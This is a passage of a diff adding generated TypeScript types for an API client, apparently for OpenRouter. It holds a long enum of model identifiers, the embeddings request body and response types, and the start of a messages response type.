'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostEmbeddingsRequestModelEnumKey = + (typeof openrouterPostEmbeddingsRequestModelEnum)[keyof typeof openrouterPostEmbeddingsRequestModelEnum] + +/** + * @description Embeddings request input + * @example {"dimensions":1536,"input":"The quick brown fox jumps over the lazy dog","model":"openai/text-embedding-3-small"} + * @type object + */ +export type OpenrouterPostEmbeddingsBody = { + /** + * @description The number of dimensions for the output embeddings + * @minimum 1 + * @example 1536 + * @type integer | undefined + */ + dimensions?: number + /** + * @description The format of the output embeddings + * @example float + * @type string | undefined + */ + encoding_format?: OpenrouterPostEmbeddingsRequestEncodingFormatEnumKey + /** + * @description Text, token, or multimodal input(s) to embed + * @example The quick brown fox jumps over the lazy dog + */ + input: + | string + | string[] + | number[] + | number[][] + | { + content: ( + | { + /** + * @minLength 1 + * @type string + */ + text: string + type: 'text' + } + | { + image_url: { + url: string + } + type: 'image_url' + } + | ContentPartInputAudio + | ContentPartInputVideo + | ContentPartInputFile + )[] + }[] + /** + * @description The type of input (e.g. search_query, search_document) + * @example search_query + * @type string | undefined + */ + input_type?: string + /** + * @description The model to use for embeddings + * @example openai/text-embedding-3-small + * @type string + */ + model: OpenrouterPostEmbeddingsRequestModelEnumKey + /** + * @description Provider routing preferences for the request. + * @example {"allow_fallbacks":true} + * @type object | undefined + */ + provider?: ProviderPreferences | null + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description A unique identifier for the end-user + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostEmbeddingsOptions = { + body: OpenrouterPostEmbeddingsBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostEmbeddingsResponses = { + '200': + | { + contentType: 'application/json' + data: OpenrouterPostEmbeddingsStatus200Json + } + | { + contentType: 'text/event-stream' + data: OpenrouterPostEmbeddingsStatus200EventStream + } +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostEmbeddingsResponse = OpenrouterPostEmbeddingsStatus200 + +/** + * @description Non-streaming response from the Anthropic Messages API with OpenRouter extensions + * @example {"container":null,"content":[{"citations":[],"text":"Hello! I'm doing well, thank you for asking.","type":"text"}],"id":"msg_01XFDUDYJgAACzvnptvVoYEL","model":"claude-sonnet-4-5-20250929","role":"assistant","stop_details":null,"stop_reason":"end_turn","stop_sequence":null,"type":"message","usage":{"cache_creation":null,"cache_creation_input_tokens":null,"cache_read_input_tokens":null,"inference_geo":null,"input_tokens":12,"output_tokens":15,"output_tokens_details":null,"server_tool_use":null,"service_tier":"standard"}} + */ +export type OpenrouterPostMessagesStatus200Json = BaseMessagesResult & { + context_management?: { + applied_edits: 